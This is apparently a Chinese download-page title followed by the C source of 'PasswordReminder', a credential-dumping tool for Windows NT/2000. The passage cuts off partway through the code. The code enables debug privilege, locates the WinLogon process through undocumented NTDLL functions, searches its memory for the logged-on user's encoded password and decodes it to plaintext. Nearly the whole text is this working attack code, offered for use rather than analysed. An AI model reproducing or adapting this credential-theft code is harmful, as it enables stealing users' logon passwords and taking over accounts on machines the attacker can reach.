找出WinNT&Win2000当前登陆用户的用户名和密码.zip_密码登陆_登陆 密码

// PasswordReminder.cpp // // This code is licensed under the terms of the GPL (gnu public license). // #include <windows.h> #include <tchar.h> #include <stdio.h> typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; // Undocumented typedef's typedef struct _QUERY_SYSTEM_INFORMATION { DWORD GrantedAccess; DWORD PID; WORD HandleType; WORD HandleId; DWORD Handle; } QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION; typedef struct _PROCESS_INFO_HEADER { DWORD Count; DWORD Unk04; DWORD Unk08; } PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER; typedef struct _PROCESS_INFO { DWORD LoadAddress; DWORD Size; DWORD Unk08; DWORD Enumerator; DWORD Unk10; char Name [0x108]; } PROCESS_INFO, *PPROCESS_INFO; typedef struct _ENCODED_PASSWORD_INFO { DWORD HashByte; DWORD Unk04; DWORD Unk08; DWORD Unk0C; FILETIME LoggedOn; DWORD Unk18; DWORD Unk1C; DWORD Unk20; DWORD Unk24; DWORD Unk28; UNICODE_STRING EncodedPassword; } ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO; typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION) (DWORD, PVOID, DWORD, PDWORD); typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD); typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID); typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID); typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING) (BYTE, PUNICODE_STRING); // Private Prototypes BOOL IsWinNT (void); BOOL IsWin2K (void); BOOL AddDebugPrivilege (void); DWORD FindWinLogon (void); BOOL LocatePasswordPageWinNT (DWORD, PDWORD); BOOL LocatePasswordPageWin2K (DWORD, PDWORD); void DisplayPasswordWinNT (void); void DisplayPasswordWin2K (void); // Global Variables PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation; PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer; PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation; PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer; PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString; DWORD PasswordLength = 0; PVOID RealPasswordP = NULL; PVOID PasswordP = NULL; DWORD HashByte = 0; wchar_t UserName [0x400]; wchar_t UserDomain [0x400]; int __cdecl main (int argc, char* argv[]) { printf ("\n\tPasswordReminder\n\n"); if ((!IsWinNT ()) && (!IsWin2K ())) { printf ("Windows NT or Windows 2000 are required.\n"); return (0); } // Add debug privilege to PasswordReminder - // this is needed for the search for Winlogon. if (!AddDebugPrivilege ()) { printf ("Unable to add debug privilege.\n"); return (0); } printf ("The debug privilege has been added to PasswordReminder.\n"); HINSTANCE hNtDll = LoadLibrary ("NTDLL.DLL"); pfnNtQuerySystemInformation = (PFNNTQUERYSYSTEMINFORMATION) GetProcAddress (hNtDll, "NtQuerySystemInformation"); pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress (hNtDll, "RtlCreateQueryDebugBuffer"); pfnRtlQueryProcessDebugInformation = (PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress (hNtDll, "RtlQueryProcessDebugInformation"); pfnRtlDestroyQueryDebugBuffer = (PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress (hNtDll, "RtlDestroyQueryDebugBuffer"); pfnRtlRunDecodeUnicodeString = (PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress (hNtDll, "RtlRunDecodeUnicodeString"); // Locate WinLogon's PID - need debug privilege and admin rights. DWORD WinLogonPID = FindWinLogon (); if (WinLogonPID == 0) { printf ("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.\n"); printf ("PasswordReminder is unable to find the password in memory.\n"); FreeLibrary (hNtDll); return (0); } printf ("The WinLogon process id is %d (0x%8.8lx).\n", WinLogonPID, WinLogonPID); // Set values to check memory block against. memset (UserName, 0, sizeof (UserName)); memset (UserDomain, 0, sizeof (UserDomain)); GetEnvironmentVariableW (L"USERNAME", UserName, 0x400); GetEnvironmentVariableW (L"USERDOMAIN", UserDomain, 0x400); // Locate the block of memory containing // the password in WinLogon's memory space. BOOL FoundPasswordPage = FALSE; if (IsWin2K ()) FoundPasswordPage = LocatePasswordPageWin2K (WinLogonPID, &PasswordLength); else FoundPasswordPage = LocatePasswordPageWinNT (WinLogonPID, &PasswordLength); if (FoundPasswordPage) { if (PasswordLength == 0) { printf ("The logon information is: %S/%S.\n", UserDomain, UserName); printf ("There is no password.\n"); } else { printf ("The encoded password is found at 0x%8.8lx and has a length of %d.\n", RealPasswordP, PasswordLength); // Decode the password string. if (IsWin2K ()) DisplayPasswordWin2K (); else DisplayPasswordWinNT (); } } else printf ("PasswordReminder is unable to find the password in memory.\n"); FreeLibrary (hNtDll); return (0); } // main BOOL IsWinNT (void) { OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (GetVersionEx (&OSVersionInfo)) return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT); else return (FALSE); } // IsWinNT BOOL IsWin2K (void) { OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (GetVersionEx (&OSVersionInfo)) return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) && (OSVersionInfo.dwMajorVersion == 5)); else return (FALSE); } // IsWin2K BOOL AddDebugPrivilege (void) { HANDLE Token; TOKEN_PRIVILEGES TokenPrivileges, PreviousState; DWORD ReturnLength = 0; if (OpenProcessToken (GetCurrentProcess (), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &Token)) if (LookupPrivilegeValue (NULL, "SeDebugPrivilege", &TokenPrivileges.Privileges[0].Luid)) { TokenPrivileges.PrivilegeCount = 1; TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; return (AdjustTokenPrivileges (Token, FALSE, &TokenPrivileges, sizeof (TOKEN_PRIVILEGES), &PreviousState, &ReturnLength)); } return (FALSE); } // AddDebugPrivilege // Note that the following code eliminates the need // for PSAPI.DLL as part of the executable. DWORD FindWinLogon (void) { #define INITIAL_ALLOCATION 0x100 DWORD rc = 0; DWORD SizeNeeded = 0; PVOID InfoP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, INITIAL_ALLOCATION); // Find how much memory is required. pfnNtQuerySystemInformation (0x10, InfoP, INITIAL_ALLOCATION, &SizeNeeded); HeapFree (GetProcessHeap (), 0, InfoP); // Now, allocate the proper amount of memory. InfoP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, SizeNeeded); DWORD SizeWritten = SizeNeeded; if (pfnNtQuerySystemInformation (0x10, InfoP, SizeNeeded, &SizeWritten)) { HeapFree (GetProcessHeap (), 0, InfoP); return (0); } DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION); if (NumHandles == 0) { HeapFree (GetProcessHeap (), 0, InfoP); return (0); } PQUERY_SYSTEM_INFORMATION QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) InfoP; DWORD i; for (i = 1; i <= NumHandles; i++) { // "5" is the value of a kernel object type process. if (QuerySystemInformationP->HandleType == 5) { PVOID DebugBufferP = pfnRtlCreateQueryDebugBuffer (0, 0); if (pfnRtlQueryProcessDebugInformation (QuerySystemInformationP->PID, 1, DebugBuff